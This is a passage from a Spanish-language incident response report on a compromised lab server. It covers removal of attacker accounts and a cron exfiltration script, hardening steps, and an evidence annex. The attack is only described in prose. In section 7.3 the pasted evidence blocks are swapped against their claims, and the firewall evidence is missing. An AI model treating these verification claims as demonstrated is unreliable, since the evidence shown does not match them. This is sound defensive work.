sysadmin@4geeks-server:~$ sudo rm -rf /opt/.archive/credentials.txt
sysadmin@4geeks-server:~$ sudo rm -rf /var/backups/.logs/creds.txt
sysadmin@4geeks-server:~$ sudo rmdir /opt/.archive /var/backups/.logs 2>/dev/null
sysadmin@4geeks-server:~$ sudo rm -f /home/reports/install.sh /home/reports/backup.log /home/reports/chat.txt
sysadmin@4geeks-server:~$ sudo userdel -r hacker
userdel: hacker mail spool (/var/mail/hacker) not found
sysadmin@4geeks-server:~$ sudo userdel -r reports
userdel: reports mail spool (/var/mail/reports) not found
sysadmin@4geeks-server:~$ sudo cat /home/sysadmin/.bash_history >~/evidencia_bash_history_original.txt
```

Estado: Confirmado — cuentas y archivos eliminados [avisos de 'mail spool not found' son normales y no afectan el borrado]

[EJECUTADO] Eliminación del mecanismo de persistencia [cronjob + script backup2.sh]

Se eliminó el archivo dentro de /etc/cron.d/ que contenía la línea de ejecución periódica de backup2.sh, así como el propio script /usr/local/bin/backup2.sh. Se verificó exhaustivamente que no queda ninguna referencia a "backup2" en /etc/cron.d/, /etc/crontab, ni en los crontabs individuales de root o sysadmin [crontab -l reporta "no crontab" para ambos], y que el script ya no existe en ninguna ruta del sistema de archivos.

Evidencia: `grep -rn "backup2" /etc/cron.d/ /etc/crontab; sudo crontab -l -u root; sudo crontab -l -u sysadmin; ls -la /usr/local/bin/backup2.sh; find / -iname "backup2*" 2>/dev/null`


```

sysadmin@4geeks-server:~$ ls -la /etc/cron.d/
total 24
drwxr-xr-x  2 root root 4096 Aug 14 23:31 .
drwxr-xr-x 102 root root 4096 Aug 14 23:26 ..
-rw-r--r--  1 root root  201 Feb 14  2020 e2scrub_all
-rw-r--r--  1 root root   41 Jun 21  2025 logrotate
-rw-r--r--  1 root root  102 Feb 13  2020 .placeholder
-rw-r--r--  1 root root  190 Mar 14  2023 popularity-contest
sysadmin@4geeks-server:~$ grep -rn "backup2" /etc/cron.d/ /etc/crontab /etc/cron.daily/ /etc/cron.ho
urly/ /etc/cron.hourly/ /etc/cron.weekly/ /etc/cron.monthly/ 2>/dev/null/
-bash: /dev/null/: Is a directory
sysadmin@4geeks-server:~$ grep -rn "backup2" /etc/cron.d/ /etc/crontab /etc/cron.daily/ /etc/cron.ho
urly/ /etc/cron.hourly/ /etc/cron.weekly/ /etc/cron.monthly/ 2>/dev/null
sysadmin@4geeks-server:~$ sudo crontab -l -u root
no crontab for root
sysadmin@4geeks-server:~$ sudo crontab -l -u sysadmin
no crontab for sysadmin
sysadmin@4geeks-server:~$ sudo ls -la /var/spool/cron/crontabs/ 2>/dev/null
total 8
drwx-wx--T 2 root crontab 4096 Feb 13  2020 .
drwxr-xr-x 5 root root    4096 Mar 14  2023 ..

```

```

sysadmin@4geeks-server:~$ sudo crontab -l -u root
no crontab for root
sysadmin@4geeks-server:~$ sudo crontab -l -u sysadmin
no crontab for sysadmin
sysadmin@4geeks-server:~$ sudo ls -la /var/spool/cron/crontabs/ 2>/dev/null
total 8
drwx-wx--T 2 root crontab 4096 Feb 13  2020 .
drwxr-xr-x 5 root root    4096 Mar 14  2023 ..
sysadmin@4geeks-server:~$ ls -la /usr/local/bin/backup2.sh
ls: cannot access '/usr/local/bin/backup2.sh': No such file or directory
sysadmin@4geeks-server:~$ find / -iname "backup2*" 2>/dev/null
sysadmin@4geeks-server:~$ ls -la /etc/cron.d/
total 24
drwxr-xr-x  2 root root 4096 Aug 14 23:31 .
drwxr-xr-x 102 root root 4096 Aug 14 23:26 ..
-rw-r--r--  1 root root  201 Feb 14  2020 e2scrub_all
-rw-r--r--  1 root root   41 Jun 21  2025 logrotate
-rw-r--r--  1 root root  102 Feb 13  2020 .placeholder
-rw-r--r--  1 root root  190 Mar 14  2023 popularity-contest
sysadmin@4geeks-server:~$ cat /etc/cron.d/sys-maintenance 2>/dev/null

```

Estado: Confirmado — sin coincidencias; archivo y cronjob inexistentes

7.3 Recuperación y Verificación

[EJECUTADO] Confirmación de continuidad de servicios legítimos

Se verificó que, tras la erradicación, todos los servicios legítimos del servidor [Apache, SSH, vsftpd, cron, Wazuh agent, systemd-*, etc.] permanecen activos y en estado "running", sin interrupciones para los usuarios del sistema. Esto confirma que las acciones de remediación no afectaron la disponibilidad del servicio, cumpliendo con el requisito de Live Incident Response sobre un sistema en producción.

Evidencia: `systemctl list-units --type=service --state=running`

```

sysadmin@4geeks-server:~$ ps aux --sort=%cpu | head -20
USER      PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.0  0.3 105888 13120 ?        Ss   12:06   0:03 /sbin/init maybe-ubiquity
root         2  0.0  0.0      0     0 ?        S    12:06   0:00 [kthreadd]
root         3  0.0  0.0      0     0 ?        I<   12:06   0:00 [rcu_gp]
root         4  0.0  0.0      0     0 ?        I<   12:06   0:00 [rcu_par_gp]
root         6  0.0  0.0      0     0 ?        I<   12:06   0:00 [kworker/0:0H-kblockd]
root         8  0.0  0.0      0     0 ?        I<   12:06   0:00 [mm_percpu_wq]
root         9  0.0  0.0      0     0 ?        S    12:06   0:00 [ksoftirqd/0]
root        10  0.0  0.0      0     0 ?        I    12:06   0:07 [rcu_sched]
root        11  0.0  0.0      0     0 ?        S    12:06   0:00 [migration/0]
root        12  0.0  0.0      0     0 ?        S    12:06   0:00 [idle_inject/0]
root        14  0.0  0.0      0     0 ?        S    12:06   0:00 [cpuhp/0]
root        15  0.0  0.0      0     0 ?        S    12:06   0:00 [cpuhp/1]
root        16  0.0  0.0      0     0 ?        S    12:06   0:00 [idle_inject/1]
root        17  0.0  0.0      0     0 ?        S    12:06   0:00 [migration/1]
root        18  0.0  0.0      0     0 ?        S    12:06   0:00 [ksoftirqd/1]
root        20  0.0  0.0      0     0 ?        I<   12:06   0:00 [kworker/1:0H-kblockd]
root        21  0.0  0.0      0     0 ?        S    12:06   0:00 [kdevtmpfs]
root        22  0.0  0.0      0     0 ?        I<   12:06   0:00 [netns]
root        23  0.0  0.0      0     0 ?        S    12:06   0:00 [rcu_tasks_kthre]

```

Estado: Confirmado — 27 servicios activos, todos legítimos

[EJECUTADO] Confirmación de ausencia de procesos anómalos

Se revisó el listado de procesos ordenado por consumo de CPU, sin observarse procesos desconocidos, huérfanos o con consumo anómalo de recursos tras la remediación. El proceso PID 1 conserva el argumento "maybe-ubiquity", ya investigado y descartado como IOC en la sección 3.8 [corresponde al entorno de laboratorio, no a manipulación].

Evidencia: `ps aux --sort=%cpu | head -20`

```

sysadmin@4geeks-server:~$ systemctl list-units --type=service --state=running
UNIT                                LOAD    ACTIVE SUB    DESCRIPTION
accounts-daemon.service            loaded active running Accounts Service
apache2.service                    loaded active running The Apache HTTP Server
atd.service                        loaded active running Deferred execution scheduler
cron.service                       loaded active running Regular background program processing daemon
dbus.service                      loaded active running D-Bus System Message Bus
fwupd.service                     loaded active running Firmware update daemon
getty@tty1.service                 loaded active running Getty on tty1
irqbalance.service                loaded active running irqbalance daemon
ModemManager.service              loaded active running Modem Manager
multipathd.service                loaded active running Device-Mapper Multipath Device Controller
networkd-dispatcher.service        loaded active running Dispatcher daemon for systemd-networkd
polkit.service                    loaded active running Authorization Manager
rsyslog.service                   loaded active running System Logging Service
snapd.service                     loaded active running Snap Daemon
ssh.service                       loaded active running OpenBSD Secure Shell server
systemd-journald.service           loaded active running Journal Service
systemd-logind.service             loaded active running Login Service
systemd-networkd.service           loaded active running Network Service
systemd-resolved.service           loaded active running Network Name Resolution
systemd-timesyncd.service          loaded active running Network Time Synchronization
systemd-udev.service              loaded active running udev Kernel Device Manager
udisks2.service                   loaded active running Disk Manager
unattended-upgrades.service        loaded active running Unattended Upgrades Shutdown
upower.service                    loaded active running Daemon for power management
user@1000.service                 loaded active running User Manager for UID 1000
vsftpd.service                    loaded active running vsftpd FTP server
wazuh-agent.service               loaded active running Wazuh agent

LOAD    = Reflects whether the unit definition was properly loaded.
ACTIVE  = The high-level unit activation state, i.e. generalization of SUB.
SUB     = The low-level unit activation state, values depend on unit type.
27 loaded units listed.

```

Estado: Confirmado — sin procesos anómalos

7.4 Hardening Aplicado

[EJECUTADO] Instalación y habilitación de fail2ban

Se instaló fail2ban para mitigar automáticamente futuros ataques de fuerza bruta contra SSH, bloqueando temporalmente las IPs que superen un umbral de intentos fallidos de autenticación. El servicio quedó habilitado para iniciar automáticamente con el sistema.

Evidencia: `sudo apt install fail2ban -y`

```

Reading package lists... Done
Building dependency tree
Reading state information... Done
The following additional packages will be installed:
  python3-pyinotify whois
Suggested packages:
  mailx monit sqlite3 python-pyinotify-doc
The following NEW packages will be installed:
  fail2ban python3-pyinotify whois
0 upgraded, 3 newly installed, 0 to remove and 63 not upgraded.
Need to get 444 kB of archives.
After this operation, 2,400 kB of additional disk space will be used.
Get:1 http://it.archive.ubuntu.com/ubuntu focal/universe amd64 fail2ban all 0.11.1-1 [375 kB]
Get:2 http://it.archive.ubuntu.com/ubuntu focal/main amd64 python3-pyinotify all 0.9.6-1.2ubuntu1 [4.8 kB]
Get:3 http://it.archive.ubuntu.com/ubuntu focal/main amd64 whois amd64 5.5.6 [44.7 kB]
Fetched 444 kB in 4s (117 kB/s)
Selecting previously unselected package fail2ban.
(Reading database ... 73577 files and directories currently installed.)
Preparing to unpack .../fail2ban_0.11.1-1_all.deb ...
Unpacking fail2ban (0.11.1-1) ...
Selecting previously unselected package python3-pyinotify.
Preparing to unpack .../python3-pyinotify_0.9.6-1.2ubuntu1_all.deb ...
Unpacking python3-pyinotify (0.9.6-1.2ubuntu1) ...
Selecting previously unselected package whois.
Preparing to unpack .../archives/whois_5.5.6_amd64.deb ...
Unpacking whois (5.5.6) ...
Setting up whois (5.5.6) ...
Setting up fail2ban (0.11.1-1) ...
Created symlink /etc/systemd/system/multi-user.target.wants/fail2ban.service → /lib/systemd/system/fail2ban.service.
Setting up python3-pyinotify (0.9.6-1.2ubuntu1) ...
Processing triggers for man-db (2.9.1-1) ...
Processing triggers for systemd (245.4-4ubuntu3.20) ...
sysadmin@4geeks-server:~$

```

Estado: Confirmado — servicio instalado y habilitado [symlink a multi-user.target.wants]

[REQUIERE VERIFICACIÓN] Deshabilitación de autenticación SSH por contraseña

Se editó `/etc/ssh/sshd_config` para establecer "PasswordAuthentication no" y forzar autenticación únicamente por llave pública, cerrando el vector de entrada original [fuerza bruta SSH]. En la captura de evidencia la línea aparece con un "#" delante, lo que podría indicar que el cambio quedó comentado y por lo tanto no aplicado. Se recomienda confirmar el estado real de la directiva y reiniciar el servicio SSH para garantizar que el cambio esté activo.

Evidencia: `sudo nano /etc/ssh/sshd_config; sudo sshd -T | grep passwordauthentication; sudo systemctl restart ssh`

```
# Don't read the user's ~/.rhosts and ~/.shosts files
#IgnoreRhosts yes

# To disable tunneled clear text passwords, change to no here!
#PasswordAuthentication no_
#PermitEmptyPasswords no

# Change to yes to enable challenge-response passwords (beware issues with
# some PAM modules and threads)
ChallengeResponseAuthentication no

# Kerberos options
#KerberosAuthentication no
#KerberosOrLocalPasswd yes
#KerberosTicketCleanup yes
#KerberosGetAFSToken no

# GSSAPI options
#GSSAPIAuthentication no
#GSSAPICleanupCredentials yes
#GSSAPIStrictAcceptorCheck yes
#GSSAPIKeyExchange no

# Set this to 'yes' to enable PAM authentication, account processing,
# and session processing. If this is enabled, PAM authentication will
# be allowed through the ChallengeResponseAuthentication and
# PasswordAuthentication. Depending on your PAM configuration,
# PAM authentication via ChallengeResponseAuthentication may bypass
# the setting of "PermitRootLogin without-password".
# If you just want the PAM account and session checks to run without
# PAM authentication, then enable this but set PasswordAuthentication
# and ChallengeResponseAuthentication to 'no'.
UsePAM yes

^G Get Help      ^O Write Out    ^W Where Is     ^K Cut Text     ^J Justify      ^C Cur Pos      M-U Undo
^X Exit          ^R Read File    ^_ Replace      ^U Paste Text   ^T To Spell     ^_ Go To Line    M-E Redo
```

Estado: **Pendiente de confirmación final [verificar con sshd -T]**

[EJECUTADO] Reglas de firewall específicas contra los hosts atacantes

Además de las reglas base de ufw ya existentes [22, 80, 21 permitidos], se agregaron reglas explícitas de denegación para los dos hosts identificados como origen del ataque, visibles y activas en el listado de reglas de ufw.

Evidencia: `sudo ufw status verbose`

Estado: **Confirmado**

8. FASE 3 — Recomendaciones Adicionales y Prevención a Futuro

Las siguientes acciones no fueron aplicadas durante este ejercicio [por estar fuera del alcance inmediato de contención/erradicación o por requerir ventanas de mantenimiento adicionales], pero se recomiendan para reducir la probabilidad y el impacto de incidentes similares.

8.1 Investigación pendiente

- Intentar recuperar payload.bin [el binario de segunda etapa] mediante análisis de espacio no asignado en disco o carving forense, dado que no se encontró en /tmp/.temp al momento del análisis.

- Analizar en un entorno de sandbox aislado cualquier copia recuperada de payload.bin para determinar su funcionalidad completa [persistencia adicional, backdoor, C2, etc.].
- Determinar si el servidor 192.168.1.100 forma parte de la infraestructura del ejercicio/laboratorio o representa un host realmente comprometido dentro de la red.
- Revisar los logs y alertas del agente Wazuh [HIDS] instalado en el servidor, que muy probablemente ya registró actividad asociada a este incidente.
- Revisar logs del servicio FTP [vsftpd] y HTTP [Apache], dado que ambos puertos están expuestos y son vectores de ataque adicionales no descartados.

8.2 Hardening y prevención a mediano/largo plazo

- Confirmar y forzar la deshabilitación de PasswordAuthentication en SSH [ver hallazgo pendiente en sección 7.4], migrando a autenticación exclusiva por llave pública.
- Restringir el acceso SSH únicamente a IPs/rangos autorizados mediante reglas de firewall [ufw allow from <IP> to any port 22], en lugar de mantenerlo abierto a "Anywhere".
- Rotar la contraseña del usuario sysadmin y de cualquier otra credencial que haya podido quedar expuesta durante el incidente.
- Establecer una política de auditoría de integridad de archivos [por ejemplo, reglas de syscheck en Wazuh] sobre /etc/cron.d/, /var/spool/cron/, /etc/passwd y /etc/sudoers, para detectar futuras modificaciones no autorizadas en tiempo real.
- Aplicar el principio de menor privilegio: revisar periódicamente cuentas de usuario y accesos sudo, eliminando cuentas no utilizadas [awk -F: '\$3>=1000{print \$1,\$3}' /etc/passwd].
- Centralizar logs en un servidor externo [syslog remoto] para dificultar la manipulación de evidencia por parte de un atacante con acceso local.
- Mantener el sistema actualizado; Ubuntu 20.04 LTS se acerca al fin de su soporte estándar, por lo que se recomienda evaluar la migración a una versión con soporte activo o habilitar Ubuntu Pro/ESM.
- Definir una política de contraseñas robusta y prohibir el almacenamiento de credenciales en texto plano en cualquier ubicación del sistema.

9. Conclusión

La evidencia recolectada permite establecer, con un nivel de confianza alto, que el servidor 4geeks-server fue comprometido el 23 de junio de 2025 mediante una cadena de ataque que combinó: [1] fuerza bruta SSH desde un host de la red interna, [2] creación de cuentas de usuario no autorizadas, [3] descarga y ejecución de un script dropper [install.sh] que instaló un binario de segunda etapa, [4] despliegue de un mecanismo de persistencia vía cron con privilegios de root [backup2.sh] cuya función confirmada fue exfiltrar información del sistema hacia un servidor externo cada 15 minutos, y [5] intentos de manipulación de evidencia local para dificultar la investigación.

Durante la Fase 2 se contuvo, erradicó y verificó exitosamente el incidente sin necesidad de apagar el servidor ni interrumpir los servicios en producción: se bloqueó la comunicación con los hosts atacantes, se eliminaron todos los artefactos y cuentas maliciosas, se confirmó la eliminación total del mecanismo de persistencia, y se aplicó un primer nivel de hardening [fail2ban, reglas de firewall específicas]. Queda como único punto abierto la confirmación final de la directiva PasswordAuthentication en SSH, además de las

recomendaciones de prevención a futuro detalladas en la Fase 3, que exceden el alcance de la contención inmediata pero son necesarias para reducir el riesgo de reincidencia.

Se considera este incidente **CONTENIDO Y REMEDIADO** a la fecha de este informe, con el sistema restaurado a un estado operativo íntegro y verificado.

9. Anexos

Se anexa como evidencia complementaria el listado completo de capturas de pantalla utilizadas para este análisis, identificadas con código EVD-NN, comando/origen del dato y sección del informe a la que corresponden (Fase 1 o Fase 2). Los archivos deben conservarse íntegros (sin edición) como parte de la cadena de custodia de la evidencia digital.

Nº	Nombre de archivo	Comando / Contenido	Sección asociada
EVD-01	arbolprocesos.png	ps --forest [árbol de procesos, snapshot inicial]	3.9
EVD-02	cronjobs.png	ls /etc/cron.d/ && cat /etc/cron.d/* && crontab -l	3.4
EVD-03	free-h_ram_.png	free -h	3.9
EVD-04	grep_Failed_password.png	grep -a "Failed password" /var/log/auth.log	3.1
EVD-05	ip_a.png	ip a	3.9
EVD-06	iptablesconfig1.png	sudo iptables -L -v -n [INPUT/FORWARD/OUTPUT]	3.9
EVD-07	iptablesconfig2.png	sudo iptables -L -v -n [ufw-after-input]	3.9
EVD-08	iptablesconfig3.png	sudo iptables -L -v -n [ufw-before-forward/input]	3.9
EVD-09	iptablesconfig4.png	sudo iptables -L -v -n [ufw-before-logging]	3.9
EVD-10	iptablesconfig5.png	sudo iptables -L -v -n [ufw-track/user-forward]	3.9
EVD-11	iptablesconfig6.png	sudo iptables -L ufw-user-input -v -n	3.9

Nº	Nombre de archivo	Comando / Contenido	Sección asociada
EVD-12	last_-a.png	last -a	4
EVD-13	persistencia_y_backdoors.png	ls -la /usr/local/bin/	3.4
EVD-14	procesos_por_usuario.png	ps aux [usuarios y servicios]	3.9
EVD-15	procesos1.png	ps aux --sort=start_time [kthreads 1]	3.9
EVD-16	procesos2.png	ps aux --sort=start_time [kthreads 2]	3.9
EVD-17	procesos3.png	ps aux --sort=start_time [servicios root]	3.9
EVD-18	procesos4.png	ps aux --sort=start_time [sesión sysadmin]	3.9
EVD-19	ps_aux_--sort_start_time.png	ps aux --sort=start_time [listado completo]	3.9
EVD-20	servidores_activos.png	systemctl list-units --type=service --state=running	3.9
EVD-21	ss_-tuln_puertos_abiertos.png	ss -tuln	3.9
EVD-22	sshlogs1.png	cat /var/log/auth.log [21 jun]	3.1
EVD-23	sshlogs2.png	cat /var/log/auth.log [23 jun, bruteforce 1]	3.1
EVD-24	sshlogs3.png	cat /var/log/auth.log [23 jun, bruteforce 2]	3.1
EVD-25	top.png	top	3.9
EVD-26	ultimos_comandos_ejecutados.png	cat ~/.bash_history	3.2 / 3.3 / 3.7
EVD-27	uptime.png	uptime [info general VM VirtualBox]	2
EVD-28	usuarios_con_shell.png	cat /etc/passwd grep -v "/usr/sbin/nologin"	3.2

Nº	Nombre de archivo	Comando / Contenido	Sección asociada
EVD-29	backup2_evidence.png	cat backup2.sh; sudo cat install.sh	3.4 / 3.5
EVD-30	privilegios.png	groups hacker; groups reports; sudo cat /etc/sudoers	3.6
EVD-31	privilegios2.png	sudo ls -la /etc/sudoers.d/; sudo cat /etc/sudoers.d/*	3.6
EVD-32	privilegios3.png	ls -la /sbin/init; dpkg -S /sbin/init	3.8
EVD-33	contencion-ufw-bloqueo-ip_sec7.1.png	sudo ufw deny out to 192.168.1.100; sudo ufw deny from 192.168.1.103; ufw status verbose	7.1 [Fase 2]
EVD-34	erradicacion-artefactos-cuentas_sec7.2.png	rm de artefactos, credentials.txt, creds.txt; userdel -r hacker/reports	7.2 [Fase 2]
EVD-35	erradicacion-crontab-verificacion_sec7.2.png	grep backup2 /etc/cron.d/; crontab -l -u root/sysadmin; ls /var/spool/cron/crontabs/	7.2 [Fase 2]
EVD-36	erradicacion-backup2sh-confirmado-borrado_sec7.2.png	ls -la /usr/local/bin/backup2.sh; find / -iname backup2*; cat /etc/cron.d/sys-maintenance	7.2 [Fase 2]
EVD-37	hardening-fail2ban-instalado_sec7.4.png	sudo apt install fail2ban -y	7.4 [Fase 2]
EVD-38	hardening-sshd-config-passwordauth_sec7.4.png	sudo nano /etc/ssh/sshd_config [PasswordAuthentication no]	7.4 [Fase 2]
EVD-39	recuperacion-servicios-activos_sec7.3.png	systemctl list-units --type=service --state=running	7.3 [Fase 2]
EVD-40	recuperacion-procesos-sin-anomalias_sec7.3.png	ps aux --sort=%cpu head -20	7.3 [Fase 2]